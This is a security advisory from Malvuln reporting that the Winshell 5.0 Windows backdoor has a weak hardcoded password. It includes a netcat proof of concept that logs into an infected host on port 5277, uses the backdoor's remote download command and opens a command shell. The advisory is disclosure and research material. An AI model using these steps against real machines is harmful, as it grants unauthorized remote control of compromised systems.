Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Winshell.5_0 Vulnerability: Weak Hardcoded Credentials Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password. Family: Winshell Type: PE MD5: 5bc5f72d19019a2fa3b75896e82ae1e5 Vuln ID: MVID-2022-0633 Disclosure: 09/06/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 5277 Password:123456789 WinShell v5.0 (C)2002 janker.org ? for help CMD>? i Install r Remove p Path b reBoot d shutDown s Shell x eXit q Quit Download: CMD>http://.../srv.exe ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\dump> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).